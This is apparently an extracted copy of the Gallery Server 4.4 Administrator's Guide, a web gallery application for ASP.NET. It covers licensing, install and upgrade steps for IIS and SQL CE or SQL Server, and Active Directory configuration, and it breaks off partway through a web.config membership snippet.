Administrator’s Guide Gallery Server Admin

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Administrator’s Guide

Version 4.4

Updated July 4, 2018

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Contents at a Glance 
Welcome .................................................................................................................................................................6 
Installing/Upgrading Gallery Server .................................................................................................................... 11 
Running Gallery Server ........................................................................................................................................ 43 
Working with Albums .......................................................................................................................................... 46 
Working with Media Assets ................................................................................................................................. 60 
Working with Galleries ........................................................................................................................................ 79 
User Management and Security .......................................................................................................................... 87 
Site Administration ............................................................................................................................................ 102 
Membership Configuration ............................................................................................................................... 189 
Changing between SQL CE, SQL Server and SQL Azure ................................................................................... 192 
Customizing Gallery Server .............................................................................................................................. 193 
Multiple Language Support ............................................................................................................................. 200 
Using Internet Information Services Manager (IIS Manager) ......................................................................... 203 
Configuring NTFS Permissions in Microsoft Windows .................................................................................... 209 
Management Tools for SQL CE and SQL Server ............................................................................................... 214 
How-To Tutorials ............................................................................................................................................ 215 
Glossary ........................................................................................................................................................... 245 
 
  

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Contents 
1. Welcome .................................................................................................................................................................6 
How Gallery Server works ..................................................................................................................................6 
What’s new in 4.4? .............................................................................................................................................6 
What’s new in 4.3? .............................................................................................................................................7 
What’s new in 4.2? .............................................................................................................................................7 
What’s new in 4.1? .............................................................................................................................................7 
What’s new in 4.0? .............................................................................................................................................7 
Requirements .....................................................................................................................................................8 
Gallery Server Versions .......................................................................................................................................8 
License information ............................................................................................................................................9 
Known issues ................................................................................................................................................... 11 
2. Installing/Upgrading Gallery Server .................................................................................................................... 11 
Upgrade information ....................................................................................................................................... 11 
Installation overview ....................................................................................................................................... 14 
Install Gallery Server (on-premises editions) .................................................................................................. 16 
Upgrade from 4.X ............................................................................................................................................ 19 
Upgrade from 3.X ............................................................................................................................................ 20 
Upgrade from 2.6 ............................................................................................................................................ 21 
Upgrade from 2.5 and earlier .......................................................................................................................... 22 
Install/Upgrade with Active Directory ............................................................................................................. 22 
Configure Windows authentication ................................................................................................................. 34 
URL-based automatic logon............................................................................................................................. 38 
Boost application startup performance with ngen ......................................................................................... 40 
Troubleshooting the installation or upgrade ................................................................................................... 40 
Uninstalling Gallery Server .............................................................................................................................. 42 
Install the Gallery Server Binary Pack .............................................................................................................. 42 
3. Running Gallery Server ........................................................................................................................................ 43 
Navigating the gallery ...................................................................................................................................... 43 
Add albums and media assets ......................................................................................................................... 45 
Edit the albums and media assets ................................................................................................................... 46 
4. Working with Albums .......................................................................................................................................... 46 
Overview of albums ......................................................................................................................................... 46 
Album visibility and security ............................................................................................................................ 46 
Create an album .............................................................................................................................................. 47 
Album properties ............................................................................................................................................. 47 
Move or copy an album ................................................................................................................................... 50 
Delete an album .............................................................................................................................................. 50 

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Assign album thumbnail .................................................................................................................................. 50 
Synchronize an album ...................................................................................................................................... 51 
Album ownership ............................................................................................................................................. 53 
Private albums ................................................................................................................................................. 55 
User albums ..................................................................................................................................................... 55 
5. Working with Media Assets ................................................................................................................................. 60 
Overview of media assets ................................................................................................................................ 60 
Add media assets ............................................................................................................................................. 60 
View/edit media asset properties ................................................................................................................... 62 
Download media assets ................................................................................................................................... 62 
Sort media assets ............................................................................................................................................. 63 
Replace a media asset file ............................................................................................................................... 65 
Delete albums and media assets ..................................................................................................................... 67 
Delete original files .......................................................................................................................................... 68 
Move or copy albums and media assets ......................................................................................................... 70 
Rotate/flip media assets .................................................................................................................................. 71 
Watermarking .................................................................................................................................................. 74 
Searching ......................................................................................................................................................... 78 
6. Working with Galleries ........................................................................................................................................ 79 
Overview .......................................................................................................................................................... 79 
About multiple galleries................................................................................................................................... 80 
Every gallery gets its own web page ................................................................................................................ 80 
Gallery isolation and user/role security .......................................................................................................... 81 
Creating a read-only gallery ............................................................................................................................. 86 
7. User Management and Security .......................................................................................................................... 87 
Overview .......................................................................................................................................................... 87 
Users ................................................................................................................................................................ 87 
Roles ................................................................................................................................................................ 89 
Self-registration ............................................................................................................................................... 93 
User permissions ............................................................................................................................................. 96 
8. Site Administration ............................................................................................................................................ 102 
User Settings .................................................................................................................................................. 102 
Users .............................................................................................................................................................. 102 
Roles .............................................................................................................................................................. 102 
Media Queue ................................................................................................................................................. 102 
UI Templates .................................................................................................................................................. 104 
Media Templates ........................................................................................................................................... 123 
Gallery Manager ............................................................................................................................................ 131 

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CSS Override .................................................................................................................................................. 133 
Backup and Restore Data .............................................................................................................................. 134 
Event Log ....................................................................................................................................................... 139 
Site Settings ................................................................................................................................................... 140 
Gallery Settings .............................................................................................................................................. 148 
Gallery Control Settings ................................................................................................................................. 150 
Albums Settings ............................................................................................................................................. 153 
Media Settings ............................................................................................................................................... 158 
Image Settings ............................................................................................................................................... 165 
Video & Audio ................................................................................................................................................ 170 
Metadata Settings ......................................................................................................................................... 173 
File Types (Media Asset Types) ...................................................................................................................... 187 
9. Membership Configuration ............................................................................................................................... 189 
Membership overview ................................................................................................................................... 189 
Change membership configuration ............................................................................................................... 190 
10. Changing between SQL CE, SQL Server and SQL Azure ................................................................................... 192 
Overview ........................................................................................................................................................ 192 
Instructions .................................................................................................................................................... 192 
11. Customizing Gallery Server .............................................................................................................................. 193 
Overview ........................................................................................................................................................ 193 
Skinning ......................................................................................................................................................... 194 
Edit the source code ...................................................................................................................................... 198 
Adding a gallery to an existing website ......................................................................................................... 198 
12. Multiple Language Support ............................................................................................................................. 200 
13. Using Internet Information Services Manager (IIS Manager) ......................................................................... 203 
Configure a directory to run as a web application ........................................................................................ 203 
Discover the user account Gallery Server is running under .......................................................................... 206 
14. Configuring NTFS Permissions in Microsoft Windows .................................................................................... 209 
Overview ........................................................................................................................................................ 209 
Adjust account NTFS permissions .................................................................................................................. 209 
15. Management Tools for SQL CE and SQL Server ............................................................................................... 214 
Overview ........................................................................................................................................................ 214 
SQL CE ............................................................................................................................................................ 214 
SQL Server ...................................................................................................................................................... 215 
16. How-To Tutorials ............................................................................................................................................ 215 
Overview ........................................................................................................................................................ 215 
How-To: Install using Microsoft Web Application Gallery on a web host ..................................................... 215 
How-To: Set up multiple galleries .................................................................................................................. 219 

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How-To: Enable Facebook comment engine ................................................................................................. 227

How-To: Add a gallery to an existing ASP.NET application (no compile) ...................................................... 230

How-To: Add a gallery to an existing ASP.NET application (compile required) ............................................ 234

How-To: Integrate into non-ASP.NET web sites (iframe Method) ................................................................ 243

17. Glossary ........................................................................................................................................................... 245

1. Welcome

Gallery Server is a digital asset management and web gallery application for sharing photos, video,

audio, documents and other files. It is intended for users who want to share large collections of media assets

on their own web site while maintaining a high degree of control.

View the Release History page to see full details for each release.

How Gallery Server works

• Gallery Server is a web application you install on your web server or your web hosting company's

server.

• Add your media library by synchronizing your directory containing photos, videos and other media

assets with the Gallery Server database. You can also ZIP your files and upload them.

• Gallery Server automatically creates a thumbnail image to represent each media asset. If you upload

a high resolution image, a bandwidth-friendly, compressed version is created. EXIF, IPTC and other

types of metadata are extracted and stored in the database.

• Media asset files are stored on the local hard drive or a UNC-accessible location such as a NAS

device or network share. Metadata about these files, such as width, height, caption, etc. are stored

in the database.

• When web users browse your albums and media assets, Gallery Server queries the database for the

necessary information and dynamically renders a custom web page. If watermarking is enabled, the

watermark is applied to the image before it is sent.

• The Gallery Server Binary Pack is a free, optional add-on collection of open source utilities that

supercharge your gallery, giving it the ability to generate thumbnails from videos, create web-

optimized versions of video and audio files, and provides enhanced image processing for a variety of

files.

What’s new in 4.4?

Version 4.4 adds a direct link to the media asset URL in the share dialog window. There are also updates

to the tinyMCE and signalR third party libraries. Finally, there are a few bug fixes. Read full details about

them on the release history page.

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What’s new in 4.3?

Version 4.3 adds the ability to replace the file of an existing media asset. There are also updates to the

following third party libraries: plUpload, tinyMCE, jsTree, and MSBuildTasks. The plUpload upgrade includes

an improved algorithm for generating client-side images. Finally, there are a couple bug fixes. Read full

details about them on the release history page.

What’s new in 4.2?

Version 4.2 updates most of the third party libraries to the latest versions. This includes jQuery, jQuery

UI, jQuery Migrate, jsRender/jsViews, SignalR, SlickGrid, MSBuildTasks, TypeScript, jsTree, tinyMCE and

plUpload. There is also new support for a gallery admin to upload a watermark image directly from the

Image Settings page. And of course there are several bug fixes. Read full details about them on the release

history page.

What’s new in 4.1?

Version 4.1 introduces built-in support for Active Directory groups, workflow enhancements, improved

messaging, and several bug fixes. Read full details about them on the release history page.

What’s new in 4.0?

Gallery Server 4 is a major release and has a tremendous number of new features along with dozens of

bug fixes. Read full details about them on the release history page, but let’s quickly hit the big ones.

Ribbon toolbar – Manage your gallery faster and with less clicks using the new, ajax-enabled ribbon

interface. Most tasks, such as editing properties, creating albums, moving/copying items and more can be

done without leaving the current page.

Image and HTML editors – Crop, resize and more with the new image editor. Add rich text and formatting

with the tinyMCE-based HTML editor.

Metadata writing – Common properties such as titles, captions, tags and more can now be written back to

the original media file, preserving your hard work long after you’ve moved on from Gallery Server.

High resolution viewer – View the original, high resolution images and videos in the browser.

Performance improvements – We improved performance in several key areas. There’s a new smart cache

algorithm that only purges changed items, the synchronization engine is up to 50% faster, ZIP file downloads

are 80% faster, and a new delayed image downloading algorithm improves performance when loading

albums with hundreds or thousands of assets.

There is also new RAW file support, improved touchscreen support, auto-logon capability, a new loop

slideshow option, an ‘Authenticated Users’ role, improved ImageMagick support, and support for extracting

people tags from Windows Photo Gallery.

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Requirements

Server Requirements

• Microsoft .NET Framework 4.5 or higher

• Internet Information Services (IIS) 7.0 or higher or a compatible web server

• Optional: SQL Server 2008 or higher, including the free Express versions. It does not have to be

installed on your server, but it must be available on the network.

• Optional: SMTP server (required for e-mail functionality).

• Optional: Full trust. When the gallery is running under full trust, it automatically takes advantage of

features available only in full trust, such as video and audio transcoding.

Client Requirements

• Any modern web browser (IE 11, Edge, Firefox, Opera, Safari, Chrome)

Gallery Server Versions

Gallery Server is available in several versions. Each of these is described in more detail below.

• Gallery Server 30-day trial

• Gallery Server, Web Platform Installer (WPI) and Azure version

• Gallery Server Free

• Gallery Server Home & Nonprofit

• Gallery Server Enterprise

• Gallery Server Enterprise Ultimate

• Gallery Server Enterprise AWS

Gallery Server 30-day trial

The 30-day trial includes the Free, Home & Nonprofit, Enterprise, and Enterprise Ultimate versions. The

license key you enter unlocks the features appropriate for that version.

Use this version to install a new gallery or upgrade a gallery from 2.6 or earlier.

The installation process is largely the same whether you are installing it locally or using a hosting

provider. The basic steps are:

1. Extract the files from the ZIP and convert the root directory to a web application in IIS.

2. Use your browser to navigate to the default page and create the administrator account.

3. Optional: Install the Gallery Server Binary Pack.

4. You’re done!

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Step by step instructions are found later in this manual.

Gallery Server, Web Platform Installer (WPI) and Azure version

The Web Platform Installer (WPI) and Azure version is a variant of Gallery Server that is installed through

Microsoft’s Web Platform Installer tool and the Azure Marketplace. Like the trial version, it can be converted

to one of the registered versions with the applicable license key. It is installed through one of these

methods:

1. Using the Web Platform Installer. Again, this method can only be used when logged on to the web

server.

2. Web host control panel. If you are using a web hosting company that integrates the Web Application

Gallery into its control panel, you can use that to install Gallery Server.

3. Azure Marketplace.

This version is automatically configured to use SQL CE as the data store. For the fastest and most robust

gallery, we recommend using SQL Server rather than SQL CE. This requires the Home & Nonprofit or higher

edition. Here are instructions for switching a gallery to SQL Server.

Gallery Server Free

This is a highly capable gallery with most of the features of the commercial editions. It is open source

software released under the GNU General Public License.

Get this version by installing the 30-day trial or upgrade package and then applying a license key for

Gallery Server Free.

Gallery Server Home & Nonprofit, Gallery Server Enterprise, and Gallery Server Enterprise

Ultimate

These are commercial variants of Gallery Server with varying levels of features and support. Refer to the

comparison chart for full details.

Gallery Server Enterprise AWS

This is a cloud-hosted version running on Amazon Web Services (AWS) infrastructure. Gallery Server

Enterprise is pre-installed, configured, and licensed on a Windows Server VM. Try for free for 30 days, then

pay by the hour or annually.

Learn more about running Gallery Server in the cloud.

License information

Registering Gallery Server (applies to all on-premises editions)

Gallery Server requires registration after the initial 30-day trial. The only exception is Gallery Server

Enterprise AWS, which is pre-licensed. During the trial, your gallery contains all the features of the Gallery

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Server Enterprise edition. When the trial expires, a watermark appears on each image and the site admin

area becomes read-only.

If you decide to continue using it, it can be converted to any of the editions by copying a file named

version_key.txt into the App_Data directory and entering license information in the site admin area. This

information is provided to you after completing your purchase at https://galleryserverpro.com.

You are allowed a limited number of activations with your license key. To install Gallery Server on

another server, first deactivate the key on the old installation. If you are using Gallery Server in a staging

environment in addition to a production environment, you can use the same key to activate both instances.

Activate the free version of Gallery Server the same as you would activate the commercial version.

Choose Gallery Server Free on the website and complete the checkout process. You will not be asked for

payment information.

Note: The Web Platform Installer version of Gallery Server acts a little different at the end of the trial

period. No functionality is restricted. Instead, a picture of our founder – Roger Martin – appears on

every page in the Site Admin area. Make him go away by entering a license key.

Product updates and support

Beginning with version 4, your license includes updates and support for one year. As updates are

released, they are automatically added to the downloads section of your account.

Note: If you are using Gallery Server Enterprise AWS, updates and support are available as long as your

subscription is active.

At the end of the year, your subscription will automatically renew at approximately 50% of the original

price. By continuing your subscription, you will always have access to the latest security updates, bug fixes,

and new features. You can review your subscription, change payment details, and turn off auto-renew on

your account page.

If you choose to let your subscription expire, you can continue using Gallery Server. The subscription

gives you updates and support, but it does not restrict your perpetual rights to running Gallery Server on

your web server. You may re-subscribe at any time at the current price.

Forum support is included in Enterprise and higher editions of Gallery Server. Phone support is included

in Enterprise Ultimate. Review the documentation provided with your purchase for more details.

Gallery Server Free works a bit differently. Since it is a free product, it does not use the subscription

model. Updates will be added to your downloads section on a continuous basis. There is no official support

for Gallery Server Free or the 30-day trial. You can find answers to many questions in the Admin Guide or

the forum.

Anyone can post questions in the forum, even without an active subscription. We guarantee answers

only to those users posting from an account with an active, supported subscription.

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Source code 
The source code is included with Gallery Server Enterprise Ultimate. Find it in the downloads section of 
your account page. 
The source code for Gallery Server Free is released under the GPL. Instructions for obtaining it are 
included in the confirmation e-mail sent to you. 
Known issues 
• None 
2. Installing/Upgrading Gallery Server 
This chapter contains the following sections: 
• Upgrade information 
• Installation overview 
• Install Gallery Server 
• Upgrade from 4.X 
• Upgrade from 3.X 
• Upgrade from 2.6 
• Upgrade from 2.5 and earlier 
• Install new AD-enabled gallery or convert existing one 
• Upgrade an AD-enabled gallery from 3.X 
• Upgrade an AD-enabled gallery from 2.6 
Upgrade information 
Upgrading from 4.X 
Upgrades are included at no charge to all users with an active subscription. Your purchase includes a 
one-year subscription. Check your account page for access to your subscription and any available 
downloads. Instructions for upgrading can be found later in this document. 
Step by step instructions for upgrading from 4.X are here. 

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Upgrading from 2.X or 3.X

Gallery Server 4 is a major release. As such, it requires a new license key.

A discount is available if you are upgrading from a version 3 commercial license. To receive the discount,

enter your 3.X product key on the Gallery Server product page before you add it to your cart. The discount

will be automatically applied. Your purchase gives you access to an upgrade package and a license key.

If you want to play with Gallery Server 4 before purchasing an upgrade, install the 30-day trial.

Upgrading existing gallery installations on a trial basis is not supported.

Be aware of some important things that have changed in version 4.

New UI templates – Due to the significant changes to the UI, version 4 introduces a new set of UI templates.

If you modified any UI templates in your 3.X gallery, you will need to merge your changes. The 3.X templates

are deactivated during the upgrade but can still be viewed on the UI Template page. Here is an example of

what they look like:

NOTE: In version 4 the UI Template editor is available only in Gallery Server Enterprise and higher,

so you’ll need that version or higher to merge your 3.X changes. If you are sticking with one of the

lower versions, there is a workaround: (1) In your 3.X database file (App_Data\GalleryDb.sdf), use

SQL Server Compact Toolbox to change the value of the DateAdded column to today’s date for all

records in the table named ‘Gallery’. (2) Use the Backup/Restore page to create a backup file of

your 3.X gallery. (3) Install the 30-day trial of Gallery Server 4 in a new location. (4) Restore your 3.X

backup to your new gallery. (5) Use the UI Template editor to merge your changes (the trial

includes all the features of the Enterprise edition for 30 days, including the UI Template editor). (6)

Replace your 3.X gallery with your new one.

To ease the upgrade, we recommend this process if you have UI template customizations to migrate to

version 4:

1. Before the upgrade, look through your UI templates and make a note of any that are targeting

current albums. Note which albums they are targeting.

2. Upgrade to version 4.

3. Enter a license key for Gallery Server Enterprise or higher.

4. Go to the UI Template editor, make copies of the new default templates, then apply your

customizations.

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CSS overwritten – In Gallery Server 3.X the CSS page in the site admin area let you edit the CSS for the

gallery. When upgrading to 4.0, your changes will be replaced with the latest CSS, so if you’ve edited the CSS

you’ll want to make a note of those changes and they re-apply them after the upgrade.

Gallery Server improves this behavior in 4.0. We replaced the original CSS page with one called CSS Override,

which lets you add CSS that is stored separately from the main CSS files. If you add CSS to this page, which

starts out blank, it is stored in the database and will be preserved during future upgrades.

Unspecified MIME types setting deprecated – In Gallery Server 3.X there was an option on the bottom of

the Media Object Types page that, when enabled, allowed users to add any file type to the gallery:

Although it was off by default and the tooltip had a warning about the security implications, we now believe

the risk is too great to allow it. If you have this setting enabled, the upgrade script will automatically enable

all existing file types and then disable this setting.

Version 4 now allows one to add, edit and remove MIME types on the File Types page, so if you want to let

users upload a file type that is not present on that page, it is easy to add.

Default role setting – In Gallery Server 3.X the User Settings page had an option where you could specify

one or more roles that self-registered users were assigned to. This has been modified in version 4 to apply to

all users, regardless of how or when they were created. Here is what it now looks like on the User Settings

page:

In addition, a new role called Authenticated Users is created and then added to any existing roles in this

setting. By default, in upgraded galleries the Authenticated Users role does not have any permissions, but

you can change that on the Roles page.

Note: New installations of Gallery Server give the Authenticated Users role view permissions to all

users by default.

The main thing to be aware of is that changes to this setting are immediately applied to all user accounts.

For example, if you create a role called Everyone and then add this role to the setting, all users are

immediately added to this role. You do not have to manually add users with the Manage Users page.

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SQL Server 2005 no longer supported – Gallery Server 4 uses features present only in SQL Server 2008 and

higher, so we had to drop support for SQL Server 2005. Note that Microsoft also recently stopped

supporting this version, so we recommend you move to a newer version. If cost is a consideration,

remember that Gallery Server runs great on the free Express edition.

Some features swapped between versions – Gallery Server Enterprise or higher is now required for some

features that were previously in the free edition. This includes support for multiple galleries, the UI

Template editor and the Media Template editor. Some Enterprise-only features were moved to all editions.

These are tag clouds, tag trees, and Facebook commenting templates.

If you have multiple galleries in 3.X, note that they will continue working in 4.X, including the ability to edit

settings on most of the administration screens. However, the Gallery Manager page will be read only unless

you have a supported edition. That means you will no longer be able to create or delete galleries, nor will

you be able to assign an ASPX page with a particular gallery.

Internet Explorer 10 and lower not supported – Support for older versions of IE has always been labor

intensive, and Microsoft’s recent decision to support only IE 11 and its new Edge browser prompted us to do

the same. You will notice the gallery doesn’t work at all in IE 8 and lower. We briefly tested Gallery Server 4

in IE 9 and 10 and found that although it appeared to work well, we will not spend resources fixing issues in

those browsers.

Installation overview

Before we get started, let’s touch on a few key concepts that will help make the process smoother.

Server Requirements

Review the server requirements and be sure your server satisfies the criteria. Specifically, .NET 4.5 or

higher must be installed. If it isn’t, you may get this error when running the application:

“The 'targetFramework' attribute in the <compilation> element of the Web.config file is used only to

target version 4.0 and later of the .NET Framework (for example, '<compilation

targetFramework="4.0">'). The 'targetFramework' attribute currently references a version that is later

than the installed version of the .NET Framework. Specify a valid target version of the .NET Framework,

or install the required version of the .NET Framework.”

Choosing between SQL CE and SQL Server

There are two types of data managed by Gallery Server:

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Media files - These are your images, videos, audio files, and documents. The default storage location is

the gs\mediaobjects directory in the Gallery Server web application, but you can specify any location on the

web server's hard drive or any UNC-accessible location.

Gallery data - Information about the media files, such as captions, width, height, and the album to

which they belong. This data is stored in either a SQL CE or SQL Server database.

MICROSOFT SQL SERVER COMPACT (SQL CE)

SQL CE is a self-contained, serverless, zero-configuration, transactional, ACID compliant SQL database

engine. The data reside in a file named GalleryDb.sdf in the App_Data directory of your web application.

ADVANTAGES

• No extra software installation

• Can be used on all versions of Gallery Server

• Great for small galleries (less than 1,000 media files)

DISADVANTAGES

• Much slower than SQL Server

• 2 GB max size and 256 max connections

• Increased risk of database corruption

• No longer in active development by Microsoft

MICROSOFT SQL SERVER / SQL SERVER EXPRESS

SQL Server is an enterprise class client-server database engine that is extremely fast and highly robust.

It is used by many companies and supported by a large number of web hosting providers.

ADVANTAGES

• Much faster than SQL CE

• Best for galleries with more than 1,000 media files

• Gallery data can be stored in an existing database

• Gallery can be integrated with Active Directory (AD) and other membership systems

• Data can be centrally managed along with other business data

• SQL Server Express is a free download from Microsoft

Gallery Server 4.4 Administrator’s Guide Page 16 of 246

DISADVANTAGES

• Requires additional skills for installing and maintaining the SQL Server database

• Requires Home & Nonprofit or higher edition

Which is right for you? That depends on your situation. Review the pros and cons above to make an

educated decision. We recommend SQL Server or SQL Server Express for most users, primarily because the

speed difference can be dramatic.

But don’t sweat it! Both databases are fully supported during the 30-day trial period, and you can easily

switch from one to another if you change your mind.

Gallery Server Binary Pack

The Gallery Server Binary Pack is a free collection of open source utilities. They supercharge your gallery,

giving it the ability to generate thumbnails from videos, create web-optimized versions of video and audio

files, and provides enhanced image processing for a variety of files (txt, tiff, cr2, nef, pdf, eps, psd, and

more).

To configure, first install or upgrade to the latest version of Gallery Server. Then follow the instructions

to install the binary pack.

Active Directory integration

Enterprise and higher editions support integration with existing accounts in Active Directory. Read more

in the section Install/Upgrade with Active Directory.

Integrating with an existing web site

The easiest way to install Gallery Server is as a stand-alone web application living in its own directory.

But you can integrate it with an existing web site using one of two techniques:

• (ASP.NET sites only) Add the Gallery Server user control to a page (.aspx) or user control (.ascx)

in your web application

• Install Gallery Server as a stand-alone application on an ASP.NET-compatible server. Then add an

iframe to your existing site that points to this location.

Read more in the section Customizing Gallery Server.

Install Gallery Server (on-premises editions)

This section describes how to install the stand-alone version of Gallery Server using either SQL CE or SQL

Server for the data storage. The basic steps for installation are:

Gallery Server 4.4 Administrator’s Guide Page 17 of 246

1. Download the 30-day trial or, if you purchased the product, the install package from your account

page. Extract the files to an IIS web server.

2. Configure the directory as a web application running under .NET 4.5 or higher.

3. If you want to use SQL Server (requires SQL Server 2008 or higher), update the connection string in

web.config.

4. Open default.aspx in a browser and follow the link to create an administrator account.

5. (Optional) Install the Gallery Server Binary Pack.

For those of you who appreciate more detailed steps, here are the steps again but in more detail:

1. Download the 30-day trial or, if you purchased the product, the install package from your account

page.

2. Extract the zip file to a directory on your web server or your web hosting company’s server. The

default location for websites in Windows is C:\inetput\wwwroot, but you can use any location.

3. Using IIS Manager or your web hosting company’s control panel, configure the directory to run as an

application in IIS under .NET 4.5.

TIP: For more information on using IIS Manager, refer to Using Internet Information Services

(IIS) Manager. If using a hosting company, refer to their help system for more information.

NOTE: IIS will report the application pool is running under 4.0 even when 4.5, 4.6 or 4.7 is

installed. We know – that’s weird, but don’t worry, it’ll work.

4. Give the IIS process identity modify permissions to the App_Data and gs\mediaobjects directory.

NOTE: Refer to Configuring NTFS Permissions in Microsoft Windows if you want more help with

the permissions. If you’re using a hosting company, you can try skipping this step. If you later

get a permission error, use their control panel to adjust the permissions as required.

5. If you want to use SQL Server, open web.config and comment out the SQL CE connection string

named GalleryDb. Uncomment the connection string for SQL Server and modify it to use your

credentials. Be sure the connection string name is GalleryDb. It doesn’t matter what the database

name is. If the specified database does not exist, the gallery will attempt to create it when the app

starts. Be sure the credentials have permission to carry out this task or create the database manually

first. We recommend giving the SQL account db_owner permissions.

Gallery Server 4.4 Administrator’s Guide Page 18 of 246

TIP: A common mistake we see is forgetting to set Trusted_Connection to “no” when you are

specifying a username and password in the connection string.

6. Open default.aspx in a web browser. The database will automatically be configured and seeded with

default data. This step may take a minute or so, so be patient. The screen will look like this:

7. Click the link to create an admin account.

Gallery Server 4.4 Administrator’s Guide Page 19 of 246

8. Install the Gallery Server Binary Pack. This free collection of open source utilities supercharges your

gallery, giving it the ability to generate thumbnails from videos, create web-optimized versions of

video and audio files, and provides enhanced image processing for a variety of files. Instructions are

included in the download package.

TIP: Boost application startup time with ngen.

Upgrade from 4.X

Upgrading your 4.X gallery to the latest version is easy. Just copy the files and directories in the upgrade

package over your existing installation. Download the upgrade package from your account page. No changes

to web.config are necessary. UI template customizations, CSS override values, and other settings will be

preserved.

Gallery Server 4.4 Administrator’s Guide Page 20 of 246

NOTE: The upgrade package contains the file web_use_only_when_upgrading_from_3.X.config . It

is not used when upgrading from 4.X. You may delete it from your web application (but it doesn’t

hurt if you leave it).

NOTE: If you manually edited any of the files, you will need to re-apply those changes. (e.g. you

added a Google Analytics script block to default.aspx).

NOTE: Refer to the troubleshooting section if you encounter any issues.

Upgrade from 3.X

The basic steps for upgrading a gallery from Gallery Server 3.X are:

1. Rename web.config to web_old.config

2. Copy the files from the upgrade package over the existing ones.

3. Rename web_use_only_when_upgrading_from_3.X.config to web.config.

4. Update web.config with your settings from web_old.config.

5. Open default.aspx in a browser

For those of you who appreciate more detailed steps, below we provide step by step directions.

1. If your gallery uses SQL Server, be sure it is SQL Server 2008 or higher. SQL Server 2005 is no longer

supported. SQL Server 2016 Express is freely available from Microsoft.

2. Make a backup of your web application files and database. If you’re using SQL CE, your database file

is in App_Data. SQL Server users should use SQL Server Management Studio or a similar tool.

3. Rename web.config in the root of your gallery web application to web_old.config.

4. Purchase the desired edition of Gallery Server.

5. Download the upgrade version of Gallery Server from the downloads section of your account page.

6. Extract the contents over your existing application.

7. Rename web_use_only_when_upgrading_from_3.X.config to web.config.

8. Open web.config and web_old.config in a text editor. Copy your custom settings from

web_old.config to web.config. These typically include connection strings, mail settings, and – for

Active Directory integrations – the membership and role configuration.

NOTE: If you never edited this file, there is nothing to merge. This is often the case when using

SQL CE.

9. Open the gallery in the browser. You are now running the new version!

10. Enter the license email and license key on the Site Settings page (Settings ribbon tab). They were

provided to you after your purchase.

Gallery Server 4.4 Administrator’s Guide Page 21 of 246

11. (Optional) If you haven’t installed the Gallery Server Binary Pack or updated it in a while, this is a

great time to do it. This free collection of open source utilities supercharges your gallery, giving it

the ability to generate thumbnails from videos, create web-optimized versions of video and audio

files, and provides enhanced image processing for a variety of files. Instructions are included in the

download package.

NOTE: Refer to the troubleshooting section if you encounter any issues.

TIP: Boost application startup time with ngen.

Upgrade from 2.6

Gallery Server requires .NET 4.5 or higher, so be sure your server has this version installed before

upgrading.

Below are step by step directions for upgrading your version of Gallery Server.

1. Make a backup of your database, web files, and media files. You will need to refer to web.config if

you’re using SQL Server, so at the very least be sure you have this backed up (it’s in the root of the

gallery web application). You can delete the backup when you are confident the upgrade is

successful.

2. In your 2.6 gallery, go to the backup/restore page and create a backup file of your user accounts and

gallery data.

3. Delete the gallery web files from your server. DO NOT delete your media files (the ones stored in

gs\mediaobjects by default).

4. Install the 30-day trial or, if you purchased the product, the install package from your account page

in the same location as you had the 2.6 version. Follow the New Installation instructions, including

creating an admin account and optionally installing the Gallery Server Binary Pack.

NOTE: If using SQL Server, you have a choice to continue using the same database you used for

2.6 or start with a fresh database. You can even switch to SQL CE at this time if you want.

Version 3+ uses a different set of tables, so your 4.X data can be configured alongside your 2.6

data. You can delete the 2.6 data and stored procedures to clear up space. 2.6 tables begin with

a “gs_” prefix while 3+ tables belong to the gsp schema (e.g. gsp.Album). Stored procedures are

no longer used in 3+.

5. At this point you should have a brand new, empty gallery.

6. Log in as an administrator and navigate to the Backup & Restore page on the Admin ribbon tab. Click

the restore tab and upload the backup file you created earlier. Then restore it.

7. The restore operation detects the file is from 2.6 and upgrades the schema as it imports it. For large

galleries this can take a few minutes, especially if you are using SQL CE.

8. Once complete, review the settings on the various admin pages to verify everything looks the way

you want it.

Gallery Server 4.4 Administrator’s Guide Page 22 of 246

NOTE: The list of enabled file types reverts to only jpg and jpeg files. After the upgrade, go to

the File Types page to re-enable the desired file types.

Upgrade from 2.5 and earlier

You can upgrade from 2.5 and earlier, following a two-step process:

1. Upgrade to 2.6.1.

2. Upgrade from 2.6.1 to 4.

To perform the migration to 2.6.1, go to the Gallery Server Release History and download the 2.6.1

upgrade package. Then follow the upgrade instructions in the 2.6.1 Administrator’s Guide, also found on this

page.

Once your site is running 2.6.1, follow the directions in the Upgrading from 2.6 section.

Install/Upgrade with Active Directory

Overview

You can configure Gallery Server to use your existing accounts in Active Directory. This allows your users

to log in with the same username and password they use to access the network, reducing account

duplication and maintenance issues. Accounts can be added to roles just like with a regular installation.

You can also use Active Directory groups to manage access to gallery resources. See Integrate with AD

groups for more information.

Gallery Server supports forms authentication and Windows authentication. The instructions below

configure the gallery to use forms authentication. See Configure Windows authentication to learn more

about the differences between them and to set up Windows authentication.

Notes:

• You must be using the 30-day trial or have a licensed copy of Enterprise or higher edition.

• You must use SQL Server or SQL Server Express.

Install new AD-enabled gallery or convert existing one

This section is for these scenarios:

• You are installing a new gallery and want to use the accounts in Active Directory for the user

accounts.

• You have an existing gallery updated to the latest version and want to convert the membership to

use Active Directory accounts instead of the internal set of users.

Follow these steps.

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1. If setting up a new gallery, follow the first four steps in the section Install Gallery Server (through

setting up the SQL Server connection string).

2. If the SQL Server database does not yet exist, create it now using a tool like SSMS.

3. Update the database to contain the SQL Membership and Role schema. Microsoft provides a tool

named aspnet_regsql.exe that makes this easy. By default, it is at

C:\Windows\Microsoft.NET\Framework\v4.0.30319. Run the tool. The first screen looks like this:

4. Click Next and verify the option Configure SQL Server for application services is selected:

5. Enter the SQL Server credentials and choose the gallery database:

Gallery Server 4.4 Administrator’s Guide Page 24 of 246

6. Click Next a couple times to complete the wizard.

7. Use a text editor to open the web.config file found in the root of the gallery.

a. Add a connection string for AD to the connectionStrings section:

Note: The value 192.168.1.1 is the IP address of the domain controller. You can also specify

the Fully Qualified Domain Name (ex. mydomain.techinfosystems.com), the Relative

Distinguished Name (ex. godzilla if that is the name of your DC); or for more redundancy

you can specify just the domain name (ex. mydomain).

b. Replace the membership and roleManager sections with the following.

<add name="AspNetActiveDirectoryMembershipProvider"

type="System.Web.Security.ActiveDirectoryMembershipProvider" connectionStringName="ADConnection"

enableSearchMethods="true" attributeMapUsername="sAMAccountName" applicationName="Gallery Server" />

</providers>

</membership>

<roleManager enabled="true" cacheRolesInCookie="true" cookieProtection="Validation"

defaultProvider="SqlRoleProvider">

<add name="SqlRoleProvider" type="System.Web.Security.SqlRoleProvider"

